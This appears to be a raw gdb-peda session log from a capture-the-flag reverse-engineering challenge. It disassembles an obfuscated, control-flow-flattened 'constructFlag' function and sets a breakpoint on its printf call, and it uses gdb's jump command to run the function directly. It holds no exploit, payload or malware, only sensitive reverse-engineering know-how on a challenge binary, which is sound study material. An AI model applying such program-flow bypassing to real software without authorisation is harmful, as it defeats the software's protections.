   0x55555555598f <main+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x555555555993 <main+28>:    xor    eax,eax
   0x555555555995 <main+30>:    lea    rax,[rbp-0x410]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd70 --> 0x1 
0008| 0x7fffffffdd78 --> 0x7ffff7decc8a (<__libc_start_call_main+122>:  mov    edi,eax)
0016| 0x7fffffffdd80 --> 0x7fffffffde70 --> 0x7fffffffde78 --> 0x38 ('8')
0024| 0x7fffffffdd88 --> 0x555555555977 (<main>:        endbr64)
0032| 0x7fffffffdd90 --> 0x155554040 
0040| 0x7fffffffdd98 --> 0x7fffffffde88 --> 0x7fffffffe218 ("/mnt/hgfs/Shared/chal_home")
0048| 0x7fffffffdda0 --> 0x7fffffffde88 --> 0x7fffffffe218 ("/mnt/hgfs/Shared/chal_home")
0056| 0x7fffffffdda8 --> 0x3d1608103f5b73c5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000055555555597f in main ()
gdb-peda$ disas constructFlag
Dump of assembler code for function constructFlag:
   0x00005555555551b0 <+0>:     push   rbp
   0x00005555555551b1 <+1>:     mov    rbp,rsp
   0x00005555555551b4 <+4>:     push   r15
   0x00005555555551b6 <+6>:     push   r14
   0x00005555555551b8 <+8>:     push   r13
   0x00005555555551ba <+10>:    push   r12
   0x00005555555551bc <+12>:    push   rbx
   0x00005555555551bd <+13>:    sub    rsp,0x158
   0x00005555555551c4 <+20>:    lea    rax,[rip+0xe45]        # 0x555555556010
   0x00005555555551cb <+27>:    mov    ecx,0xb0
   0x00005555555551d0 <+32>:    mov    edx,ecx
   0x00005555555551d2 <+34>:    lea    rsi,[rbp-0x110]
   0x00005555555551d9 <+41>:    mov    rdi,rsi
   0x00005555555551dc <+44>:    mov    rsi,rax
   0x00005555555551df <+47>:    call   0x555555555070 <memcpy@plt>
   0x00005555555551e4 <+52>:    mov    DWORD PTR [rbp-0x114],0x0
   0x00005555555551ee <+62>:    mov    DWORD PTR [rbp-0x120],0x7c46699a
   0x00005555555551f8 <+72>:    mov    eax,DWORD PTR [rbp-0x120]
   0x00005555555551fe <+78>:    mov    ecx,eax
   0x0000555555555200 <+80>:    sub    ecx,0xa2245c7a
   0x0000555555555206 <+86>:    mov    DWORD PTR [rbp-0x124],eax
   0x000055555555520c <+92>:    mov    DWORD PTR [rbp-0x128],ecx
   0x0000555555555212 <+98>:    je     0x555555555860 <constructFlag+1712>
   0x0000555555555218 <+104>:   jmp    0x55555555521d <constructFlag+109>
   0x000055555555521d <+109>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555223 <+115>:   sub    eax,0xae03eb68
   0x0000555555555228 <+120>:   mov    DWORD PTR [rbp-0x12c],eax
   0x000055555555522e <+126>:   je     0x5555555558cf <constructFlag+1823>
   0x0000555555555234 <+132>:   jmp    0x555555555239 <constructFlag+137>
   0x0000555555555239 <+137>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555523f <+143>:   sub    eax,0xbb1ffe21
   0x0000555555555244 <+148>:   mov    DWORD PTR [rbp-0x130],eax
   0x000055555555524a <+154>:   je     0x5555555555b4 <constructFlag+1028>
   0x0000555555555250 <+160>:   jmp    0x555555555255 <constructFlag+165>
   0x0000555555555255 <+165>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555525b <+171>:   sub    eax,0xcb295bc0
   0x0000555555555260 <+176>:   mov    DWORD PTR [rbp-0x134],eax
   0x0000555555555266 <+182>:   je     0x555555555676 <constructFlag+1222>
   0x000055555555526c <+188>:   jmp    0x555555555271 <constructFlag+193>
   0x0000555555555271 <+193>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555277 <+199>:   sub    eax,0xd2cc8233
   0x000055555555527c <+204>:   mov    DWORD PTR [rbp-0x138],eax
   0x0000555555555282 <+210>:   je     0x555555555616 <constructFlag+1126>
   0x0000555555555288 <+216>:   jmp    0x55555555528d <constructFlag+221>
   0x000055555555528d <+221>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555293 <+227>:   sub    eax,0xdb9d01fc
   0x0000555555555298 <+232>:   mov    DWORD PTR [rbp-0x13c],eax
   0x000055555555529e <+238>:   je     0x5555555557c0 <constructFlag+1552>
   0x00005555555552a4 <+244>:   jmp    0x5555555552a9 <constructFlag+249>
   0x00005555555552a9 <+249>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555552af <+255>:   sub    eax,0xdd0621c0
   0x00005555555552b4 <+260>:   mov    DWORD PTR [rbp-0x140],eax
   0x00005555555552ba <+266>:   je     0x5555555557cf <constructFlag+1567>
   0x00005555555552c0 <+272>:   jmp    0x5555555552c5 <constructFlag+277>
   0x00005555555552c5 <+277>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555552cb <+283>:   sub    eax,0xde3c30d3
   0x00005555555552d0 <+288>:   mov    DWORD PTR [rbp-0x144],eax
   0x00005555555552d6 <+294>:   je     0x555555555547 <constructFlag+919>
   0x00005555555552dc <+300>:   jmp    0x5555555552e1 <constructFlag+305>
   0x00005555555552e1 <+305>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555552e7 <+311>:   sub    eax,0xe26ff5c7
   0x00005555555552ec <+316>:   mov    DWORD PTR [rbp-0x148],eax
   0x00005555555552f2 <+322>:   je     0x555555555707 <constructFlag+1367>
   0x00005555555552f8 <+328>:   jmp    0x5555555552fd <constructFlag+333>
   0x00005555555552fd <+333>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555303 <+339>:   sub    eax,0xe3ceeaa9
   0x0000555555555308 <+344>:   mov    DWORD PTR [rbp-0x14c],eax
   0x000055555555530e <+350>:   je     0x5555555555d2 <constructFlag+1058>
   0x0000555555555314 <+356>:   jmp    0x555555555319 <constructFlag+361>
   0x0000555555555319 <+361>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555531f <+367>:   sub    eax,0x19341ee
   0x0000555555555324 <+372>:   mov    DWORD PTR [rbp-0x150],eax
   0x000055555555532a <+378>:   je     0x5555555558de <constructFlag+1838>
   0x0000555555555330 <+384>:   jmp    0x555555555335 <constructFlag+389>
   0x0000555555555335 <+389>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555533b <+395>:   sub    eax,0x19056f3d
   0x0000555555555340 <+400>:   mov    DWORD PTR [rbp-0x154],eax
   0x0000555555555346 <+406>:   je     0x555555555657 <constructFlag+1191>
   0x000055555555534c <+412>:   jmp    0x555555555351 <constructFlag+417>
   0x0000555555555351 <+417>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555357 <+423>:   sub    eax,0x25d256eb
   0x000055555555535c <+428>:   mov    DWORD PTR [rbp-0x158],eax
   0x0000555555555362 <+434>:   je     0x555555555471 <constructFlag+705>
   0x0000555555555368 <+440>:   jmp    0x55555555536d <constructFlag+445>
   0x000055555555536d <+445>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555373 <+451>:   sub    eax,0x299ff63b
   0x0000555555555378 <+456>:   mov    DWORD PTR [rbp-0x15c],eax
   0x000055555555537e <+462>:   je     0x5555555554b2 <constructFlag+770>
   0x0000555555555384 <+468>:   jmp    0x555555555389 <constructFlag+473>
   0x0000555555555389 <+473>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555538f <+479>:   sub    eax,0x33ee2572
   0x0000555555555394 <+484>:   mov    DWORD PTR [rbp-0x160],eax
   0x000055555555539a <+490>:   je     0x5555555554da <constructFlag+810>
   0x00005555555553a0 <+496>:   jmp    0x5555555553a5 <constructFlag+501>
   0x00005555555553a5 <+501>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555553ab <+507>:   sub    eax,0x34e86ff4
   0x00005555555553b0 <+512>:   mov    DWORD PTR [rbp-0x164],eax
   0x00005555555553b6 <+518>:   je     0x555555555908 <constructFlag+1880>
   0x00005555555553bc <+524>:   jmp    0x5555555553c1 <constructFlag+529>
   0x00005555555553c1 <+529>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555553c7 <+535>:   sub    eax,0x54525dca
   0x00005555555553cc <+540>:   mov    DWORD PTR [rbp-0x168],eax
   0x00005555555553d2 <+546>:   je     0x55555555563e <constructFlag+1166>
   0x00005555555553d8 <+552>:   jmp    0x5555555553dd <constructFlag+557>
   0x00005555555553dd <+557>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555553e3 <+563>:   sub    eax,0x58d9f831
   0x00005555555553e8 <+568>:   mov    DWORD PTR [rbp-0x16c],eax
   0x00005555555553ee <+574>:   je     0x555555555917 <constructFlag+1895>
   0x00005555555553f4 <+580>:   jmp    0x5555555553f9 <constructFlag+585>
   0x00005555555553f9 <+585>:   mov    eax,DWORD PTR [rbp-0x124]
   0x00005555555553ff <+591>:   sub    eax,0x60b926fc
   0x0000555555555404 <+596>:   mov    DWORD PTR [rbp-0x170],eax
   0x000055555555540a <+602>:   je     0x55555555594f <constructFlag+1951>
   0x0000555555555410 <+608>:   jmp    0x555555555415 <constructFlag+613>
   0x0000555555555415 <+613>:   mov    eax,DWORD PTR [rbp-0x124]
   0x000055555555541b <+619>:   sub    eax,0x694bd910
   0x0000555555555420 <+624>:   mov    DWORD PTR [rbp-0x174],eax
   0x0000555555555426 <+630>:   je     0x5555555554f3 <constructFlag+835>
   0x000055555555542c <+636>:   jmp    0x555555555431 <constructFlag+641>
   0x0000555555555431 <+641>:   mov    eax,DWORD PTR [rbp-0x124]
   0x0000555555555437 <+647>:   sub    eax,0x7c46699a
   0x000055555555543c <+652>:   mov    DWORD PTR [rbp-0x178],eax
   0x0000555555555442 <+658>:   je     0x555555555452 <constructFlag+674>
   0x0000555555555448 <+664>:   jmp    0x55555555544d <constructFlag+669>
   0x000055555555544d <+669>:   jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555452 <+674>:   mov    eax,0x33ee2572
   0x0000555555555457 <+679>:   mov    ecx,0x25d256eb
   0x000055555555545c <+684>:   cmp    DWORD PTR [rbp-0x114],0x2c
   0x0000555555555463 <+691>:   cmovl  eax,ecx
   0x0000555555555466 <+694>:   mov    DWORD PTR [rbp-0x120],eax
   0x000055555555546c <+700>:   jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555471 <+705>:   mov    eax,0x2
   0x0000555555555476 <+710>:   movsxd rcx,DWORD PTR [rbp-0x114]
   0x000055555555547d <+717>:   mov    edx,DWORD PTR [rbp+rcx*4-0x110]
   0x0000555555555484 <+724>:   mov    DWORD PTR [rbp-0x17c],eax
   0x000055555555548a <+730>:   mov    eax,edx
   0x000055555555548c <+732>:   cdq
   0x000055555555548d <+733>:   mov    esi,DWORD PTR [rbp-0x17c]
   0x0000555555555493 <+739>:   idiv   esi
   0x0000555555555495 <+741>:   movsxd rcx,DWORD PTR [rbp-0x114]
   0x000055555555549c <+748>:   mov    DWORD PTR [rbp+rcx*4-0x110],eax
   0x00005555555554a3 <+755>:   mov    DWORD PTR [rbp-0x120],0x299ff63b
   0x00005555555554ad <+765>:   jmp    0x555555555972 <constructFlag+1986>
   0x00005555555554b2 <+770>:   mov    eax,DWORD PTR [rbp-0x114]
   0x00005555555554b8 <+776>:   sub    eax,0x8c6ee0f0
   0x00005555555554bd <+781>:   add    eax,0x1
   0x00005555555554c0 <+784>:   add    eax,0x8c6ee0f0
   0x00005555555554c5 <+789>:   mov    DWORD PTR [rbp-0x114],eax
   0x00005555555554cb <+795>:   mov    DWORD PTR [rbp-0x120],0x7c46699a
   0x00005555555554d5 <+805>:   jmp    0x555555555972 <constructFlag+1986>
   0x00005555555554da <+810>:   mov    DWORD PTR [rbp-0x118],0x0
   0x00005555555554e4 <+820>:   mov    DWORD PTR [rbp-0x120],0x694bd910
   0x00005555555554ee <+830>:   jmp    0x555555555972 <constructFlag+1986>
   0x00005555555554f3 <+835>:   mov    eax,0x34e86ff4
   0x00005555555554f8 <+840>:   mov    ecx,0xde3c30d3
   0x00005555555554fd <+845>:   xor    edx,edx
   0x00005555555554ff <+847>:   mov    esi,DWORD PTR [rip+0x2b0f]        # 0x555555558014 <x>
   0x0000555555555505 <+853>:   mov    edi,DWORD PTR [rip+0x2b0d]        # 0x555555558018 <y>
   0x000055555555550b <+859>:   sub    edx,0x1
   0x000055555555550e <+862>:   mov    r8d,esi
   0x0000555555555511 <+865>:   add    r8d,edx
   0x0000555555555514 <+868>:   imul   esi,r8d
   0x0000555555555518 <+872>:   and    esi,0x1
   0x000055555555551b <+875>:   cmp    esi,0x0
   0x000055555555551e <+878>:   sete   r9b
   0x0000555555555522 <+882>:   cmp    edi,0xa
   0x0000555555555525 <+885>:   setl   r10b
   0x0000555555555529 <+889>:   mov    r11b,r9b
   0x000055555555552c <+892>:   and    r11b,r10b
   0x000055555555552f <+895>:   xor    r9b,r10b
   0x0000555555555532 <+898>:   or     r11b,r9b
   0x0000555555555535 <+901>:   test   r11b,0x1
   0x0000555555555539 <+905>:   cmovne eax,ecx
   0x000055555555553c <+908>:   mov    DWORD PTR [rbp-0x120],eax
   0x0000555555555542 <+914>:   jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555547 <+919>:   mov    eax,0x34e86ff4
   0x000055555555554c <+924>:   mov    ecx,0xbb1ffe21
   0x0000555555555551 <+929>:   cmp    DWORD PTR [rbp-0x118],0x2c
   0x0000555555555558 <+936>:   setl   dl
   0x000055555555555b <+939>:   and    dl,0x1
   0x000055555555555e <+942>:   mov    BYTE PTR [rbp-0x29],dl
   0x0000555555555561 <+945>:   mov    esi,DWORD PTR [rip+0x2aad]        # 0x555555558014 <x>
   0x0000555555555567 <+951>:   mov    edi,DWORD PTR [rip+0x2aab]        # 0x555555558018 <y>
   0x000055555555556d <+957>:   mov    r8d,esi
   0x0000555555555570 <+960>:   add    r8d,0x7c944e7c
   0x0000555555555577 <+967>:   sub    r8d,0x1
   0x000055555555557b <+971>:   sub    r8d,0x7c944e7c
   0x0000555555555582 <+978>:   imul   esi,r8d
   0x0000555555555586 <+982>:   and    esi,0x1
   0x0000555555555589 <+985>:   cmp    esi,0x0
   0x000055555555558c <+988>:   sete   dl
   0x000055555555558f <+991>:   cmp    edi,0xa
   0x0000555555555592 <+994>:   setl   r9b
   0x0000555555555596 <+998>:   mov    r10b,dl
   0x0000555555555599 <+1001>:  and    r10b,r9b
   0x000055555555559c <+1004>:  xor    dl,r9b
   0x000055555555559f <+1007>:  or     r10b,dl
   0x00005555555555a2 <+1010>:  test   r10b,0x1
   0x00005555555555a6 <+1014>:  cmovne eax,ecx
   0x00005555555555a9 <+1017>:  mov    DWORD PTR [rbp-0x120],eax
   0x00005555555555af <+1023>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555555b4 <+1028>:  mov    eax,0x54525dca
   0x00005555555555b9 <+1033>:  mov    ecx,0xe3ceeaa9
   0x00005555555555be <+1038>:  mov    dl,BYTE PTR [rbp-0x29]
   0x00005555555555c1 <+1041>:  test   dl,0x1
   0x00005555555555c4 <+1044>:  cmovne eax,ecx
   0x00005555555555c7 <+1047>:  mov    DWORD PTR [rbp-0x120],eax
   0x00005555555555cd <+1053>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555555d2 <+1058>:  mov    eax,0xffffffff
   0x00005555555555d7 <+1063>:  movsxd rcx,DWORD PTR [rbp-0x118]
   0x00005555555555de <+1070>:  mov    edx,DWORD PTR [rbp+rcx*4-0x110]
   0x00005555555555e5 <+1077>:  mov    esi,edx
   0x00005555555555e7 <+1079>:  xor    esi,0xffffffff
   0x00005555555555ea <+1082>:  and    esi,0x19f
   0x00005555555555f0 <+1088>:  xor    eax,0x19f
   0x00005555555555f5 <+1093>:  and    edx,eax
   0x00005555555555f7 <+1095>:  or     esi,edx
   0x00005555555555f9 <+1097>:  movsxd rcx,DWORD PTR [rbp-0x118]
   0x0000555555555600 <+1104>:  mov    DWORD PTR [rbp+rcx*4-0x110],esi
   0x0000555555555607 <+1111>:  mov    DWORD PTR [rbp-0x120],0xd2cc8233
   0x0000555555555611 <+1121>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555616 <+1126>:  mov    eax,DWORD PTR [rbp-0x118]
   0x000055555555561c <+1132>:  sub    eax,0x5dc72bef
   0x0000555555555621 <+1137>:  add    eax,0x1
   0x0000555555555624 <+1140>:  add    eax,0x5dc72bef
   0x0000555555555629 <+1145>:  mov    DWORD PTR [rbp-0x118],eax
   0x000055555555562f <+1151>:  mov    DWORD PTR [rbp-0x120],0x694bd910
   0x0000555555555639 <+1161>:  jmp    0x555555555972 <constructFlag+1986>
   0x000055555555563e <+1166>:  mov    DWORD PTR [rbp-0x11c],0x0
   0x0000555555555648 <+1176>:  mov    DWORD PTR [rbp-0x120],0x19056f3d
   0x0000555555555652 <+1186>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555657 <+1191>:  mov    eax,0x19341ee
   0x000055555555565c <+1196>:  mov    ecx,0xcb295bc0
   0x0000555555555661 <+1201>:  cmp    DWORD PTR [rbp-0x11c],0x2c
   0x0000555555555668 <+1208>:  cmovl  eax,ecx
   0x000055555555566b <+1211>:  mov    DWORD PTR [rbp-0x120],eax
   0x0000555555555671 <+1217>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555676 <+1222>:  mov    eax,0x58d9f831
   0x000055555555567b <+1227>:  mov    ecx,0xe26ff5c7
   0x0000555555555680 <+1232>:  mov    dl,0x1
   0x0000555555555682 <+1234>:  mov    esi,DWORD PTR [rip+0x298c]        # 0x555555558014 <x>
   0x0000555555555688 <+1240>:  mov    edi,DWORD PTR [rip+0x298a]        # 0x555555558018 <y>
   0x000055555555568e <+1246>:  mov    r8d,esi
   0x0000555555555691 <+1249>:  sub    r8d,0xb0a79333
   0x0000555555555698 <+1256>:  sub    r8d,0x1
   0x000055555555569c <+1260>:  add    r8d,0xb0a79333
   0x00005555555556a3 <+1267>:  imul   esi,r8d
   0x00005555555556a7 <+1271>:  and    esi,0x1
   0x00005555555556aa <+1274>:  cmp    esi,0x0
   0x00005555555556ad <+1277>:  sete   r9b
   0x00005555555556b1 <+1281>:  cmp    edi,0xa
   0x00005555555556b4 <+1284>:  setl   r10b
   0x00005555555556b8 <+1288>:  mov    r11b,r9b
   0x00005555555556bb <+1291>:  xor    r11b,0xff
   0x00005555555556bf <+1295>:  mov    bl,r10b
   0x00005555555556c2 <+1298>:  xor    bl,0xff
   0x00005555555556c5 <+1301>:  xor    dl,0x1
   0x00005555555556c8 <+1304>:  mov    r14b,r11b
   0x00005555555556cb <+1307>:  and    r14b,0xff
   0x00005555555556cf <+1311>:  and    r9b,dl
   0x00005555555556d2 <+1314>:  mov    r15b,bl
   0x00005555555556d5 <+1317>:  and    r15b,0xff
   0x00005555555556d9 <+1321>:  and    r10b,dl
   0x00005555555556dc <+1324>:  or     r14b,r9b
   0x00005555555556df <+1327>:  or     r15b,r10b
   0x00005555555556e2 <+1330>:  xor    r14b,r15b
   0x00005555555556e5 <+1333>:  or     r11b,bl
   0x00005555555556e8 <+1336>:  xor    r11b,0xff
   0x00005555555556ec <+1340>:  or     dl,0x1
   0x00005555555556ef <+1343>:  and    r11b,dl
   0x00005555555556f2 <+1346>:  or     r14b,r11b
   0x00005555555556f5 <+1349>:  test   r14b,0x1
   0x00005555555556f9 <+1353>:  cmovne eax,ecx
   0x00005555555556fc <+1356>:  mov    DWORD PTR [rbp-0x120],eax
   0x0000555555555702 <+1362>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555707 <+1367>:  mov    eax,0x58d9f831
   0x000055555555570c <+1372>:  mov    ecx,0xdb9d01fc
   0x0000555555555711 <+1377>:  mov    dl,0x1
   0x0000555555555713 <+1379>:  xor    esi,esi
   0x0000555555555715 <+1381>:  movsxd rdi,DWORD PTR [rbp-0x11c]
   0x000055555555571c <+1388>:  mov    r8d,DWORD PTR [rbp+rdi*4-0x110]
   0x0000555555555724 <+1396>:  mov    r9d,DWORD PTR [rbp-0x11c]
   0x000055555555572b <+1403>:  mov    r10d,esi
   0x000055555555572e <+1406>:  sub    r10d,r9d
   0x0000555555555731 <+1409>:  add    r8d,r10d
   0x0000555555555734 <+1412>:  mov    r11b,r8b
   0x0000555555555737 <+1415>:  movsxd rdi,DWORD PTR [rbp-0x11c]
   0x000055555555573e <+1422>:  mov    BYTE PTR [rbp+rdi*1-0x60],r11b
   0x0000555555555743 <+1427>:  mov    r8d,DWORD PTR [rip+0x28ca]        # 0x555555558014 <x>
   0x000055555555574a <+1434>:  mov    r9d,DWORD PTR [rip+0x28c7]        # 0x555555558018 <y>
   0x0000555555555751 <+1441>:  sub    esi,0x1
   0x0000555555555754 <+1444>:  mov    r10d,r8d
   0x0000555555555757 <+1447>:  add    r10d,esi
   0x000055555555575a <+1450>:  imul   r8d,r10d
   0x000055555555575e <+1454>:  and    r8d,0x1
   0x0000555555555762 <+1458>:  cmp    r8d,0x0
   0x0000555555555766 <+1462>:  sete   r11b
   0x000055555555576a <+1466>:  cmp    r9d,0xa
   0x000055555555576e <+1470>:  setl   bl
   0x0000555555555771 <+1473>:  mov    r14b,r11b
   0x0000555555555774 <+1476>:  xor    r14b,0xff
   0x0000555555555778 <+1480>:  mov    r15b,bl
   0x000055555555577b <+1483>:  xor    r15b,0xff
   0x000055555555577f <+1487>:  xor    dl,0x0
   0x0000555555555782 <+1490>:  mov    r12b,r14b
   0x0000555555555785 <+1493>:  and    r12b,0x0
   0x0000555555555789 <+1497>:  and    r11b,dl
   0x000055555555578c <+1500>:  mov    r13b,r15b
   0x000055555555578f <+1503>:  and    r13b,0x0
   0x0000555555555793 <+1507>:  and    bl,dl
   0x0000555555555795 <+1509>:  or     r12b,r11b
   0x0000555555555798 <+1512>:  or     r13b,bl
   0x000055555555579b <+1515>:  xor    r12b,r13b
   0x000055555555579e <+1518>:  or     r14b,r15b
   0x00005555555557a1 <+1521>:  xor    r14b,0xff
   0x00005555555557a5 <+1525>:  or     dl,0x0
   0x00005555555557a8 <+1528>:  and    r14b,dl
   0x00005555555557ab <+1531>:  or     r12b,r14b
   0x00005555555557ae <+1534>:  test   r12b,0x1
   0x00005555555557b2 <+1538>:  cmovne eax,ecx
   0x00005555555557b5 <+1541>:  mov    DWORD PTR [rbp-0x120],eax
   0x00005555555557bb <+1547>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555557c0 <+1552>:  mov    DWORD PTR [rbp-0x120],0xdd0621c0
   0x00005555555557ca <+1562>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555557cf <+1567>:  mov    eax,0x60b926fc
   0x00005555555557d4 <+1572>:  mov    ecx,0xa2245c7a
   0x00005555555557d9 <+1577>:  mov    dl,0x1
   0x00005555555557db <+1579>:  mov    esi,DWORD PTR [rip+0x2833]        # 0x555555558014 <x>
   0x00005555555557e1 <+1585>:  mov    edi,DWORD PTR [rip+0x2831]        # 0x555555558018 <y>
   0x00005555555557e7 <+1591>:  mov    r8d,esi
   0x00005555555557ea <+1594>:  add    r8d,0x19b72d11
   0x00005555555557f1 <+1601>:  sub    r8d,0x1
   0x00005555555557f5 <+1605>:  sub    r8d,0x19b72d11
   0x00005555555557fc <+1612>:  imul   esi,r8d
   0x0000555555555800 <+1616>:  and    esi,0x1
   0x0000555555555803 <+1619>:  cmp    esi,0x0
   0x0000555555555806 <+1622>:  sete   r9b
   0x000055555555580a <+1626>:  cmp    edi,0xa
   0x000055555555580d <+1629>:  setl   r10b
   0x0000555555555811 <+1633>:  mov    r11b,r9b
   0x0000555555555814 <+1636>:  xor    r11b,0xff
   0x0000555555555818 <+1640>:  mov    bl,r10b
   0x000055555555581b <+1643>:  xor    bl,0xff
   0x000055555555581e <+1646>:  xor    dl,0x1
   0x0000555555555821 <+1649>:  mov    r14b,r11b
   0x0000555555555824 <+1652>:  and    r14b,0xff
   0x0000555555555828 <+1656>:  and    r9b,dl
   0x000055555555582b <+1659>:  mov    r15b,bl
   0x000055555555582e <+1662>:  and    r15b,0xff
   0x0000555555555832 <+1666>:  and    r10b,dl
   0x0000555555555835 <+1669>:  or     r14b,r9b
   0x0000555555555838 <+1672>:  or     r15b,r10b
   0x000055555555583b <+1675>:  xor    r14b,r15b
   0x000055555555583e <+1678>:  or     r11b,bl
   0x0000555555555841 <+1681>:  xor    r11b,0xff
   0x0000555555555845 <+1685>:  or     dl,0x1
   0x0000555555555848 <+1688>:  and    r11b,dl
   0x000055555555584b <+1691>:  or     r14b,r11b
   0x000055555555584e <+1694>:  test   r14b,0x1
   0x0000555555555852 <+1698>:  cmovne eax,ecx
   0x0000555555555855 <+1701>:  mov    DWORD PTR [rbp-0x120],eax
   0x000055555555585b <+1707>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555860 <+1712>:  mov    eax,0x60b926fc
   0x0000555555555865 <+1717>:  mov    ecx,0xae03eb68
   0x000055555555586a <+1722>:  xor    edx,edx
   0x000055555555586c <+1724>:  mov    esi,DWORD PTR [rbp-0x11c]
   0x0000555555555872 <+1730>:  add    esi,0x420bd708
   0x0000555555555878 <+1736>:  add    esi,0x1
   0x000055555555587b <+1739>:  sub    esi,0x420bd708
   0x0000555555555881 <+1745>:  mov    DWORD PTR [rbp-0x11c],esi
   0x0000555555555887 <+1751>:  mov    esi,DWORD PTR [rip+0x2787]        # 0x555555558014 <x>
   0x000055555555588d <+1757>:  mov    edi,DWORD PTR [rip+0x2785]        # 0x555555558018 <y>
   0x0000555555555893 <+1763>:  sub    edx,0x1
   0x0000555555555896 <+1766>:  mov    r8d,esi
   0x0000555555555899 <+1769>:  add    r8d,edx
   0x000055555555589c <+1772>:  imul   esi,r8d
   0x00005555555558a0 <+1776>:  and    esi,0x1
   0x00005555555558a3 <+1779>:  cmp    esi,0x0
   0x00005555555558a6 <+1782>:  sete   r9b
   0x00005555555558aa <+1786>:  cmp    edi,0xa
   0x00005555555558ad <+1789>:  setl   r10b
   0x00005555555558b1 <+1793>:  mov    r11b,r9b
   0x00005555555558b4 <+1796>:  and    r11b,r10b
   0x00005555555558b7 <+1799>:  xor    r9b,r10b
   0x00005555555558ba <+1802>:  or     r11b,r9b
   0x00005555555558bd <+1805>:  test   r11b,0x1
   0x00005555555558c1 <+1809>:  cmovne eax,ecx
   0x00005555555558c4 <+1812>:  mov    DWORD PTR [rbp-0x120],eax
   0x00005555555558ca <+1818>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555558cf <+1823>:  mov    DWORD PTR [rbp-0x120],0x19056f3d
   0x00005555555558d9 <+1833>:  jmp    0x555555555972 <constructFlag+1986>
   0x00005555555558de <+1838>:  lea    rdi,[rip+0x7db]        # 0x5555555560c0
   0x00005555555558e5 <+1845>:  mov    al,0x0
   0x00005555555558e7 <+1847>:  call   0x555555555050 <printf@plt>
   0x00005555555558ec <+1852>:  xor    ecx,ecx
   0x00005555555558ee <+1854>:  mov    DWORD PTR [rbp-0x180],eax
   0x00005555555558f4 <+1860>:  mov    eax,ecx
   0x00005555555558f6 <+1862>:  add    rsp,0x158
   0x00005555555558fd <+1869>:  pop    rbx
   0x00005555555558fe <+1870>:  pop    r12
   0x0000555555555900 <+1872>:  pop    r13
   0x0000555555555902 <+1874>:  pop    r14
   0x0000555555555904 <+1876>:  pop    r15
   0x0000555555555906 <+1878>:  pop    rbp
   0x0000555555555907 <+1879>:  ret
   0x0000555555555908 <+1880>:  mov    DWORD PTR [rbp-0x120],0xde3c30d3
   0x0000555555555912 <+1890>:  jmp    0x555555555972 <constructFlag+1986>
   0x0000555555555917 <+1895>:  xor    eax,eax
   0x0000555555555919 <+1897>:  movsxd rcx,DWORD PTR [rbp-0x11c]
   0x0000555555555920 <+1904>:  mov    edx,DWORD PTR [rbp+rcx*4-0x110]
   0x0000555555555927 <+1911>:  mov    esi,DWORD PTR [rbp-0x11c]
   0x000055555555592d <+1917>:  sub    eax,esi
   0x000055555555592f <+1919>:  add    edx,eax
   0x0000555555555931 <+1921>:  mov    dil,dl
   0x0000555555555934 <+1924>:  movsxd rcx,DWORD PTR [rbp-0x11c]
   0x000055555555593b <+1931>:  mov    BYTE PTR [rbp+rcx*1-0x60],dil
   0x0000555555555940 <+1936>:  mov    DWORD PTR [rbp-0x120],0xe26ff5c7
   0x000055555555594a <+1946>:  jmp    0x555555555972 <constructFlag+1986>
   0x000055555555594f <+1951>:  mov    eax,DWORD PTR [rbp-0x11c]
   0x0000555555555955 <+1957>:  add    eax,0x67ac8c74
   0x000055555555595a <+1962>:  add    eax,0x1
   0x000055555555595d <+1965>:  sub    eax,0x67ac8c74
   0x0000555555555962 <+1970>:  mov    DWORD PTR [rbp-0x11c],eax
   0x0000555555555968 <+1976>:  mov    DWORD PTR [rbp-0x120],0xa2245c7a
   0x0000555555555972 <+1986>:  jmp    0x5555555551f8 <constructFlag+72>
End of assembler dump.
gdb-peda$ b * 0x00005555555558e7
Breakpoint 2 at 0x5555555558e7
gdb-peda$ jump constructFlag
Continuing at 0x5555555551b4.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdefe --> 0x7fffffffe37c0000 
RCX: 0x5f6ee574 
RDX: 0xffffffff 
RSI: 0x0 
RDI: 0x5555555560c0 ("Processing completed!")
RBP: 0x7fffffffdd70 --> 0x1 
RSP: 0x7fffffffdbf0 --> 0x200000038 
RIP: 0x5555555558e7 (<constructFlag+1847>:      call   0x555555555050 <printf@plt>)
R8 : 0xffffffff 
R9 : 0x0 
R10: 0xffffff01 
R11: 0x201 
R12: 0x1 
R13: 0x7fffffffde01 --> 0x7fffffffde 
R14: 0x7ffff7ffd001 --> 0x400007ffff7ffe2 
R15: 0xfe
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
